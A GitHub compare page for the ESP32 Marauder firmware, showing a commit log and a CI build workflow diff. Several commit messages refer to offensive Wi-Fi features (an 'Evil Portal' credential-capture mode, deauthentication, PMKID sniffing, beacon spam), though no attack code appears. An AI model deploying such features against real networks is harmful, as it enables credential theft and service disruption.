Compare commits

...

144 Commits

Author SHA1 Message Date
Just Call Me Koko
70b0601713 Update version number 2023-07-24 17:50:42 -04:00
Just Call Me Koko
ada170f910 Remove memory "fix" 2023-07-24 17:49:40 -04:00
Just Call Me Koko
dd998ceb07 Adjust verbiage 2023-07-21 09:41:32 -04:00
Just Call Me Koko
5a885fba83 Move Evil Portal to attack menu 2023-07-20 16:38:35 -04:00
Just Call Me Koko
3dfc651689 Switch to flipper 2023-07-20 15:37:25 -04:00
Just Call Me Koko
2b9f5c857c Display output and logs 2023-07-20 15:37:05 -04:00
Just Call Me Koko
fa11a04ba5 Use SSID list for EvilPortal 2023-07-20 12:32:12 -04:00
Just Call Me Koko
71266ae650 Display things 2023-07-20 11:51:24 -04:00
Just Call Me Koko
81b04db462 Reduce memory one more time 2023-07-19 17:38:13 -04:00
Just Call Me Koko
433c492f4b Reduce memory a little bit more 2023-07-19 17:27:40 -04:00
Just Call Me Koko
76526c3de6 Reduce mem a little bit 2023-07-19 17:14:38 -04:00
Just Call Me Koko
f30d8813f8 Remove a32u4 and 8266 components 2023-07-19 16:57:57 -04:00
Just Call Me Koko
3f5aecb38b Reduce memory a bit 2023-07-19 16:40:53 -04:00
Just Call Me Koko
eb1aeaa1cb Revert HTML limit 2023-07-19 16:11:34 -04:00
Just Call Me Koko
61e63aeb59 Switch back to flipper 2023-07-19 15:40:02 -04:00
Just Call Me Koko
0de13bf86d Remove espressif macs 2023-07-19 15:35:32 -04:00
Just Call Me Koko
05980c4100 Reduce the memory again 2023-07-19 14:39:42 -04:00
Just Call Me Koko
f1e4e9e9a1 Switching back to 2.0.10 I guess 2023-07-19 14:05:31 -04:00
Just Call Me Koko
9900109e81 Add some directories 2023-07-19 12:59:15 -04:00
Just Call Me Koko
68e370ca50 Do another I guess 2023-07-19 12:53:09 -04:00
Just Call Me Koko
28f674c48a stuff 2023-07-19 12:51:19 -04:00
Just Call Me Koko
d6f97091d7 Don't compile esp32 code 2023-07-19 12:46:54 -04:00
Just Call Me Koko
f4b8d827c9 Ok show me arduino-esp32 at every step 2023-07-19 12:25:53 -04:00
Just Call Me Koko
5f20e18359 Update arduino-test-compile 2023-07-19 12:20:02 -04:00
Just Call Me Koko
d7ac61fea1 Compile test code before install libs 2023-07-19 12:04:30 -04:00
Just Call Me Koko
6104aeadd5 Remove OTA compilation 2023-07-19 11:58:29 -04:00
Just Call Me Koko
8f4aa0115e Force the use of 2.0.3 2023-07-19 11:40:16 -04:00
Just Call Me Koko
11d8e95fb5 Add limit check 2023-07-19 11:16:16 -04:00
Just Call Me Koko
b34039158a Fix app space issues 2023-07-19 11:08:01 -04:00
Just Call Me Koko
304cecfbbd Ugh just hang on to this 2023-07-19 09:42:10 -04:00
Just Call Me Koko
bcdc70563a Fix LED macros 2023-07-19 09:02:00 -04:00
Just Call Me Koko
0ddc563fe2 Spelling 2023-07-19 08:38:37 -04:00
Just Call Me Koko
11faa91373 Fix drawCentreString 2023-07-19 08:37:50 -04:00
Just Call Me Koko
f73fe5fc94 Fix LinkedList ref 2023-07-18 20:55:46 -04:00
Just Call Me Koko
1de9dd76c6 Fix macros and specify lib ver 2023-07-18 20:51:58 -04:00
Just Call Me Koko
1917089ecb Uncomment new libs 2023-07-18 19:34:32 -04:00
Just Call Me Koko
8a7648a72e Fine...fucking use v2.0.10
This had better not break deauthentication capability or I'm going to shit myself.
2023-07-18 19:34:00 -04:00
Just Call Me Koko
8a7ae55c10 Revert version
Whoever changed this shit outside of my repo and fucked this whole thing up can go fuck themselves
2023-07-18 19:28:22 -04:00
Just Call Me Koko
92adabb380 Remove useless libraries flag 2023-07-18 19:18:10 -04:00
Just Call Me Koko
f00afa1430 Change specified version 2023-07-18 19:17:50 -04:00
Just Call Me Koko
ae6cf3a472 Remove new libraries 2023-07-18 19:14:46 -04:00
Just Call Me Koko
8c3772cf35 specify 2.0.3 because it defaults 2.0.10 2023-07-18 19:07:30 -04:00
Just Call Me Koko
ee5361bfb3 Move this stage 2023-07-18 18:39:33 -04:00
Just Call Me Koko
2a34319029 Ok something upstream changed 2023-07-18 18:30:51 -04:00
Just Call Me Koko
6f1db9176a Save evil portal logs 2023-07-18 18:15:23 -04:00
Just Call Me Koko
2685de86d1 Fix evil portal 2023-07-17 22:32:27 -04:00
Just Call Me Koko
a51db0d8ae Add Evil Portal Scan mode 2023-07-14 14:43:06 -04:00
Just Call Me Koko
e936cdb22a Use my fork 2023-07-14 12:04:38 -04:00
Just Call Me Koko
adb38dd620 Add evil portal libs 2023-07-14 11:36:00 -04:00
Just Call Me Koko
26115b0510 Point to flipper 2023-07-14 11:28:51 -04:00
Just Call Me Koko
76f8ceb63f Upgrade arduino-ep32 to 2.0.9 2023-07-14 11:24:07 -04:00
Just Call Me Koko
50e99a62e9 Create files for evil portal 2023-07-14 10:44:36 -04:00
Just Call Me Koko
f854a30ed6 Try to fix memory leak 2023-07-14 08:29:24 -04:00
Just Call Me Koko
ec0cc676ed Fix neopixel defs 2023-07-13 18:35:29 -04:00
Just Call Me Koko
c4fa30b3f8 Merge pull request #297 from tracedgod/tracedgod
Fix Actions not building on branch 'tracedgod'
2023-07-13 18:32:15 -04:00
tracedgod
5886bd991d NeoPixel for M5StickC 2023-06-23 20:06:23 -04:00
tracedgod
a7cf003d84 Fix NeoPixel for all Marauder Boards
All Marauder Boards use NeoPixel.
2023-06-23 19:26:38 -04:00
tracedgod
1fca730b00 Fix NeoPixel Definition for OG Marauder 2023-06-23 19:16:42 -04:00
tracedgod
121dfbfa7e Merge remote-tracking branch 'upstream/tracedgod' into tracedgod 2023-06-23 18:14:07 -04:00
Just Call Me Koko
ea1b54cc91 Fix button macros 2023-06-23 13:59:36 -04:00
Just Call Me Koko
5e77bb664d Fix SD macros and indentation 2023-06-23 13:47:48 -04:00
Just Call Me Koko
2d2d83e3af Add missing semi 2023-06-22 14:44:54 -04:00
Just Call Me Koko
a0acd10bd7 Merge pull request #280 from tracedgod/develop
Refactor configs.h & others
2023-06-22 14:37:35 -04:00
Just Call Me Koko
38a8727bfb Merge pull request #287 from justcallmekoko/master
Merge pull request #286 from justcallmekoko/develop
2023-06-21 20:16:28 -04:00
Just Call Me Koko
539ebb93a7 Merge pull request #286 from justcallmekoko/develop
Develop
2023-06-21 20:16:07 -04:00
Just Call Me Koko
56de1b698a Update version number 2023-06-21 19:44:51 -04:00
Just Call Me Koko
524d4641ed Fix m5stickc plus screen again 2023-06-21 17:15:28 -04:00
Just Call Me Koko
df613f3b9b Fix m5stickc plus screen 2023-06-21 16:50:01 -04:00
tracedgod
810c898c3b Merge branch 'develop' into develop 2023-06-14 18:27:50 -04:00
tracedgod
8bf1402a99 fixup preprocessor directives 2023-06-10 00:22:19 -04:00
tracedgod
9c51a562b8 Refactor Code + XIAO-ESP32-S3 Support
Refactoring / pre-processor optimizations to only include files if specified in the `configs.h` file.

Also adds support for the XIAO-ESP32-S3 small board from Seeed Studio.
2023-06-10 00:22:19 -04:00
tracedgod
56e87a53ea Update xiaoLED.h 2023-06-10 00:22:19 -04:00
tracedgod
fe5578af80 fix typo for XiaoLED 2023-06-10 00:22:19 -04:00
tracedgod
f3349766ed Add XIAO-ESP32-S3 Board Support (WIP)
looking to cleanup certain things with config to allow easier customization of the build when used with the flipper zero
2023-06-10 00:22:19 -04:00
tracedgod
355b159128 fixup preprocessor directives 2023-06-09 23:10:21 -04:00
tracedgod
bf0288f493 Refactor Code + XIAO-ESP32-S3 Support
Refactoring / pre-processor optimizations to only include files if specified in the `configs.h` file.

Also adds support for the XIAO-ESP32-S3 small board from Seeed Studio.
2023-06-09 22:35:56 -04:00
tracedgod
462f248d43 Update xiaoLED.h 2023-06-09 19:11:01 -04:00
tracedgod
3dcce51f18 fix typo for XiaoLED 2023-06-09 19:04:56 -04:00
tracedgod
8934160316 Add XIAO-ESP32-S3 Board Support (WIP)
looking to cleanup certain things with config to allow easier customization of the build when used with the flipper zero
2023-06-09 18:50:56 -04:00
tracedgod
a98e455fb5 Update .gitignore
ignore vscode settings.json
2023-06-09 17:31:50 -04:00
tracedgod
ccdb844fc2 Update .gitmodules
fix gitmodule sources, for some reason did not want to properly clone submodules...
2023-06-09 17:28:49 -04:00
Just Call Me Koko
0b26b2d4d3 Add led command 2023-06-09 17:03:38 -04:00
Just Call Me Koko
50eb2b0da6 Merge pull request #279 from justcallmekoko/master
Merge pull request #278 from justcallmekoko/develop
2023-06-08 16:24:14 -04:00
Just Call Me Koko
771d03d931 Merge pull request #278 from justcallmekoko/develop
Develop
2023-06-08 16:23:52 -04:00
Just Call Me Koko
4f1611083f Fix no bt for dev board pro 2023-06-07 15:32:40 -04:00
Just Call Me Koko
b5eb343c52 Merge pull request #277 from justcallmekoko/master
Merge pull request #276 from justcallmekoko/develop
2023-06-06 17:17:52 -04:00
Just Call Me Koko
e7ba169c04 Merge pull request #276 from justcallmekoko/develop
Develop
2023-06-06 17:17:31 -04:00
Just Call Me Koko
a5b3ce9f0a Update version number 2023-06-06 17:16:31 -04:00
Just Call Me Koko
eec6c37732 Fix unclickable sigmon 2023-06-06 12:57:32 -04:00
Just Call Me Koko
5cfb756051 Merge pull request #269 from justcallmekoko/master
Merge pull request #268 from justcallmekoko/develop
2023-06-01 17:00:07 -04:00
Just Call Me Koko
31aa12d4ed Merge pull request #268 from justcallmekoko/develop
Develop
2023-06-01 16:58:53 -04:00
Just Call Me Koko
d7fbf21345 Update README.md 2023-06-01 15:52:33 -04:00
Just Call Me Koko
e027231a43 That was dumb 2023-05-30 13:59:02 -04:00
Just Call Me Koko
ed5e6bc787 Add SD_MMC 2023-05-30 13:54:33 -04:00
Just Call Me Koko
2092b0a462 Add ls command
Fix sniffpmkid LED
2023-05-30 13:47:40 -04:00
Just Call Me Koko
4d269b383b Add sigmon to menu 2023-05-22 16:02:21 -04:00
Just Call Me Koko
0a90e6aedc Fix open files when SD disable 2023-05-19 16:19:45 -04:00
Just Call Me Koko
6b4e2952d6 Add function for signal strength monitor 2023-05-18 17:07:39 -04:00
Just Call Me Koko
a84ee7e58e Update User_Setup_Select.h 2023-05-18 10:33:45 -04:00
Just Call Me Koko
1eeedac84c Adjust Macros 2023-05-18 09:53:19 -04:00
Just Call Me Koko
e556309746 Compile settings for M5StickC Plus 2023-05-18 09:52:54 -04:00
Just Call Me Koko
b21ee85b83 Add steps for M5StickC Plus 2023-05-18 09:41:28 -04:00
Just Call Me Koko
f2c1d01d13 Add compatibility for M5StickC Plus 2023-05-15 14:25:06 -04:00
Just Call Me Koko
cbe6d0196b Revert config 2023-05-04 14:59:46 -04:00
Just Call Me Koko
6ab706c848 Update syntax strings 2023-05-04 14:58:25 -04:00
Just Call Me Koko
999dd77643 Add targeted active PMKID sniff 2023-05-04 14:40:53 -04:00
Just Call Me Koko
99210984e4 Merge pull request #258 from wallali/develop
Improved serial outputs
2023-04-21 10:11:23 -04:00
wallali
9ae60eeecf Merge branch 'coco_develop' into develop 2023-04-21 14:41:54 +01:00
wallali
6ff61f4991 Improve output during pkimd sniff 2023-04-21 14:39:43 +01:00
wallali
f4486ec191 Helpful serial output if BT unsupported in fw 2023-04-21 14:38:43 +01:00
wallali
ce6a40e554 Improve output during pkimd sniff 2023-04-21 14:26:43 +01:00
wallali
09615832b3 Helpful serial output if BT unsupported in fw 2023-04-21 14:24:09 +01:00
Just Call Me Koko
0a9fc2a485 Merge pull request #257 from tcpassos/develop
Created "-f" parameter in the AP selection to filter the APs that will be selected
2023-04-20 16:46:17 -04:00
tcpassos
d555031b54 Created "-f" parameter in the AP selection to filter the APs that will be selected 2023-04-20 00:29:51 -03:00
Just Call Me Koko
8efa79a407 Account for pull req when creating release 2023-04-19 13:05:20 -04:00
Just Call Me Koko
59739b331d Merge pull request #255 from wallali/join_wifi
Added join (WiFi) command and reporting for list counts
2023-04-19 12:57:12 -04:00
wallali
9f181d73a6 Helpful guidance on scan station - use the correct list now 2023-04-18 13:52:53 +01:00
wallali
37788fe1a9 Helpful guidance on scan station 2023-04-18 13:46:33 +01:00
wallali
db6d23f3e4 List and select commands now report counts of selected/unselected items 2023-04-17 14:27:12 +01:00
wallali
6c8e77cba2 Merge branch 'develop' into join_wifi 2023-04-15 13:52:41 +01:00
wallali
accd8f5730 Update banner to tell me when i'm using serial output 2023-04-15 04:22:59 +01:00
wallali
7661b47a42 Allow join WiFi from command line 2023-04-15 04:21:13 +01:00
Just Call Me Koko
3e16378993 Update README.md 2023-04-14 08:15:55 -04:00
Just Call Me Koko
b51df45dec Update config to v0.10.3 2023-04-14 08:15:35 -04:00
Just Call Me Koko
93bb2c6a85 Fix SD Serial configuration 2023-04-14 08:13:45 -04:00
Just Call Me Koko
5da426de99 Create wifi-dev-board-pro-3v3-orientation.png 2023-04-10 08:16:54 -04:00
Just Call Me Koko
07d5e8787e Merge pull request #244 from tcpassos/develop
Allowed to enter custom SSIDs with spaces in the name as long as they are enclosed in quotes
2023-04-09 14:47:20 -04:00
tcpassos
7a6a880cb9 Beacon spam list SSIDs will not change channels 2023-04-06 15:48:50 -03:00
tcpassos
1546fad676 Stops breaking parameters that are enclosed in quotes 2023-04-04 12:40:11 -03:00
Just Call Me Koko
785545c185 Add WiFi Dev Board Pro SMA Enclosure 2023-03-31 12:13:09 -04:00
Just Call Me Koko
3f5bcd106a Revert flipper macro 2023-03-14 23:50:11 -04:00
Just Call Me Koko
633a38d257 Fix default broadcast during attack 2023-03-14 23:48:32 -04:00
Just Call Me Koko
f044df2647 Add build for SD Serial 2023-03-14 16:27:01 -04:00
Just Call Me Koko
7eecf35eed Merge pull request #233 from tcpassos/serial_test
Packet transmission via serial
2023-03-14 16:12:49 -04:00
Just Call Me Koko
b8df6e2598 Run on pull requests 2023-03-14 16:10:51 -04:00
tcpassos
e028c39470 Added WRITE_PACKETS_SERIAL macro to transmit packets via serial (1) instead of using SD card 2023-03-01 08:42:08 -03:00
tcpassos
592b7f68e8 Update .gitignore 2023-02-28 22:49:27 -03:00
Just Call Me Koko
99ef926fb7 Add files via upload 2023-02-02 16:40:08 -05:00
Just Call Me Koko
5e9e096631 Add images for WiFi Dev Board Pro 2023-01-20 11:50:46 -05:00
Just Call Me Koko
ab5c65f525 Merge pull request #217 from justcallmekoko/master
Rebase Develop
2023-01-18 21:03:42 -05:00
Just Call Me Koko
2b324eaaf2 Add wifi dev board pro top with buttons 2023-01-18 21:02:33 -05:00
Just Call Me Koko
ed41954f5a Merge pull request #216 from trisp3ar/develop
adding CAD models for Devboard Pro enclosure and Solder Jig
2023-01-18 15:57:18 -05:00
Gregor Hermani
f79e0591df adding CAD models for Devboard Pro enclosure and Solder Jig 2023-01-18 10:42:17 +01:00
Just Call Me Koko
6a6c8d8ff3 Merge pull request #213 from justcallmekoko/master
Rebase develop
2023-01-17 11:50:46 -05:00
83 changed files with 637313 additions and 5318 deletions

View File

@@ -2,6 +2,8 @@ name: Build and Push
on:
workflow_dispatch:
pull_request:
types: [opened, reopened]
jobs:
# This workflow contains a single job called "build"
@@ -14,62 +16,90 @@ jobs:
- name: Checkout Code
uses: actions/checkout@v3
- name: Install ESP32 Boards and Compile TestFile
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: TestFile.ino
arduino-board-fqbn: esp32:esp32:esp32s2
platform-url: https://github.com/espressif/arduino-esp32/releases/download/2.0.10/package_esp32_dev_index.json
- name: Pull arduino-esp32 v2.0.4
uses: actions/checkout@v2
with:
repository: espressif/arduino-esp32
ref: 2.0.4
path: 2.0.4arduino-esp32
- name: Pull arduino-esp32 v2.0.10
uses: actions/checkout@v2
with:
repository: espressif/arduino-esp32
ref: 2.0.10
path: 2.0.10
- name: Install AsyncTCP
uses: actions/checkout@v2
with:
repository: me-no-dev/AsyncTCP
ref: master
path: CustomAsyncTCP
- name: Install ESPAsyncWebServer
uses: actions/checkout@v2
with:
repository: justcallmekoko/ESPAsyncWebServer
ref: master
path: CustomESPAsyncWebServer
- name: Install TFT_eSPI
uses: actions/checkout@v2
with:
repository: justcallmekoko/TFT_eSPI
ref: master
path: CustomTFT_eSPI
- name: Install LinkedList
uses: actions/checkout@v2
with:
repository: ivanseidel/LinkedList
ref: master
ref: v1.3.1
path: CustomLinkedList
- name: Install lv_arduino
uses: actions/checkout@v2
with:
repository: lvgl/lv_arduino
ref: master
ref: 3.0.0
path: Customlv_arduino
- name: Install JPEGDecoder
uses: actions/checkout@v2
with:
repository: Bodmer/JPEGDecoder
ref: master
ref: 1.8.0
path: CustomJPEGDecoder
- name: Install NimBLE-Arduino
uses: actions/checkout@v2
with:
repository: h2zero/NimBLE-Arduino
ref: 1.2.0
path: CustomNimBLE-Arduino
- name: Install Adafruit_NeoPixel
uses: actions/checkout@v2
with:
repository: adafruit/Adafruit_NeoPixel
ref: master
ref: 1.10.7
path: CustomAdafruit_NeoPixel
- name: Install ArduinoJson
uses: actions/checkout@v2
with:
repository: bblanchon/ArduinoJson
ref: v6.18.2
path: CustomArduinoJson
- name: Install SwitchLib
uses: actions/checkout@v2
with:
@@ -87,22 +117,34 @@ jobs:
cp User_Setup_Select.h CustomTFT_eSPI/
cp User_Setup_marauder_mini.h CustomTFT_eSPI/
cp User_Setup_og_marauder.h CustomTFT_eSPI/
cp User_Setup_marauder_m5stickc.h CustomTFT_eSPI/
pwd
ls -la
ls -la CustomTFT_eSPI
- name: Install ESP32 Boards and Compile MarauderOTA
uses: ArminJo/arduino-test-compile@v3.2.0
with:
sketch-names: MarauderOTA.ino
arduino-board-fqbn: esp32:esp32:esp32s2
platform-url: https://github.com/espressif/arduino-esp32/releases/download/2.0.3/package_esp32_dev_index.json
#- name: Place 2.0.10 for use
# run: |
# mkdir -p /home/runner/.arduino15/packages/esp32/hardware/esp32/
# cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.3 /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3
# ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/
# echo Whoever made me have to do this can fuck off
- name: Replace SD lib
#- name: Replace arduino-esp32 v2.0.10 that was gloriously forced on us
# run: |
# rm -rf /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10
# cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.3 /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3
# ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/
# echo Whoever made me have to do this can fuck off
- name: Search for SD lib in arduino-esp32
run: |
rm -rf /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3/libraries/SD
cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32/libraries/SD /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3/libraries/SD
ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3/libraries/SD
find /home/runner/ -name "SD"
#- name: Replace SD lib
# run: |
# rm -rf /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10/libraries/SD
# cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32/libraries/SD /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10/libraries/SD
# ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10/libraries/SD
- name: Modify platform.txt
run: |
@@ -119,7 +161,7 @@ jobs:
done
- name: Build Marauder for Flipper Zero WiFi Dev Board
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:esp32s2:PartitionScheme=min_spiffs,FlashSize=4M,PSRAM=enabled
@@ -129,8 +171,29 @@ jobs:
run: |
mv ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper.bin
- name: Configure SD Serial for Flipper Zero SD Serial
run: |
pwd
sed -i 's/^ \/\/#define WRITE_PACKETS_SERIAL/ #define WRITE_PACKETS_SERIAL/' esp32_marauder/configs.h
- name: Build Marauder SD Serial for Flipper Zero WiFi Dev Board
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:esp32s2:PartitionScheme=min_spiffs,FlashSize=4M,PSRAM=enabled
extra-arduino-cli-args: "--warnings none"
- name: Rename Marauder Flipper SD Serial bin
run: |
mv ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper_sd_serial.bin
- name: Remove SD Serial
run: |
pwd
sed -i 's/^ #define WRITE_PACKETS_SERIAL/ \/\/#define WRITE_PACKETS_SERIAL/' esp32_marauder/configs.h
- name: Build Marauder for Flipper Zero Multi Board
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:esp32s3:PartitionScheme=min_spiffs,FlashSize=8M,PSRAM=enabled
@@ -156,7 +219,7 @@ jobs:
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
- name: Build Marauder for OG Marauder
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
@@ -180,7 +243,7 @@ jobs:
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
- name: Build Marauder for v6 Marauder
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
@@ -204,7 +267,7 @@ jobs:
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
- name: Build Marauder for Marauder Kit
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
@@ -228,7 +291,7 @@ jobs:
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
- name: Build Marauder for Marauder Mini
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
@@ -250,7 +313,7 @@ jobs:
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
- name: Build Marauder for ESP32 LDDB
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
@@ -272,7 +335,7 @@ jobs:
sed -i 's/^ \/\/#define MARAUDER_DEV_BOARD_PRO/ #define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
- name: Build Marauder for Marauder Dev Board Pro
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
@@ -281,6 +344,33 @@ jobs:
- name: Rename Marauder for Marauder Dev Board Pro
run: |
mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.marauder_dev_board_pro.bin
- name: Configure TFT_eSPI and configs.h for Marauder M5StickC
run: |
pwd
find /home/runner/ -name "*TFT_eSPI*"
sed -i 's/^#include <User_Setup_marauder_mini.h>/\/\/#include <User_Setup_marauder_mini.h>/' /home/runner/Arduino/libraries/CustomTFT_eSPI/User_Setup_Select.h
sed -i 's/^\/\/#include <User_Setup_marauder_m5stickc.h>/#include <User_Setup_marauder_m5stickc.h>/' /home/runner/Arduino/libraries/CustomTFT_eSPI/User_Setup_Select.h
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
sed -i 's/^ \/\/#define MARAUDER_M5STICKC/ #define MARAUDER_M5STICKC/' esp32_marauder/configs.h
- name: Build Marauder for Marauder M5StickC
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:m5stick-c:PartitionScheme=min_spiffs
extra-arduino-cli-args: "--warnings none"
- name: Rename Marauder M5StickC bin
run: |
mv ./esp32_marauder/build/esp32.esp32.m5stick-c/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.m5stick-c/esp32_marauder.m5stickc_plus.bin
- name: Display finished bins
run: |
@@ -293,6 +383,13 @@ jobs:
path: ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper.bin
retention-days: 5
- name: 'Upload Flipper SD Serial Artifact'
uses: actions/upload-artifact@v3
with:
name: esp32_marauder.flipper_sd_serial.bin
path: ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper_sd_serial.bin
retention-days: 5
- name: 'Upload MultiboardS3 Artifact'
uses: actions/upload-artifact@v3
with:
@@ -342,6 +439,13 @@ jobs:
path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.marauder_dev_board_pro.bin
retention-days: 5
- name: 'Upload Marauder M5StickC Plus Artifact'
uses: actions/upload-artifact@v3
with:
name: esp32_marauder.m5stickc_plus.bin
path: ./esp32_marauder/build/esp32.esp32.m5stick-c/esp32_marauder.m5stickc_plus.bin
retention-days: 5
- name: Create Release
id: create_release
uses: actions/create-release@v1
@@ -352,6 +456,7 @@ jobs:
release_name: Release ${{ github.ref }}
draft: true
prerelease: false
if: github.event_name != 'pull_request'
- name: Upload Flipper Asset
id: upload-flipper-release-asset
@@ -363,17 +468,31 @@ jobs:
asset_path: ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper.bin
asset_name: esp32_marauder.flipper.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
- name: Upload Flipper SD Serial Asset
id: upload-flipper-sd-serial-release-asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ steps.create_release.outputs.upload_url }}
asset_path: ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper_sd_serial.bin
asset_name: esp32_marauder.flipper_sd_serial.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
- name: Upload MultiboardS3 Asset
id: upload-mutliboardS3-release-asset
id: upload-multiboardS3-release-asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ steps.create_release.outputs.upload_url }}
asset_path: ./esp32_marauder/build/esp32.esp32.esp32s3/esp32_marauder.multiboardS3.bin
asset_name: esp32_marauder.mutliboardS3.bin
asset_name: esp32_marauder.multiboardS3.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
- name: Upload OG Asset
id: upload-og-release-asset
@@ -385,6 +504,7 @@ jobs:
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.og.bin
asset_name: esp32_marauder.og.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
- name: Upload v6 Asset
id: upload-v6-release-asset
@@ -396,6 +516,7 @@ jobs:
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6.bin
asset_name: esp32_marauder.v6.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
- name: Upload Kit Asset
id: upload-kit-release-asset
@@ -407,6 +528,7 @@ jobs:
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.kit.bin
asset_name: esp32_marauder.kit.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
- name: Upload Mini Asset
id: upload-mini-release-asset
@@ -418,6 +540,7 @@ jobs:
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.mini.bin
asset_name: esp32_marauder.mini.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
- name: Upload ESP32 LDDB Asset
id: upload-esp32-lddb-release-asset
@@ -429,6 +552,7 @@ jobs:
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.esp32_lddb.bin
asset_name: esp32_marauder.esp32_lddb.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
- name: Upload Marauder Dev Board Pro Asset
id: upload-marauder-dev-board-pro-release-asset
@@ -440,3 +564,16 @@ jobs:
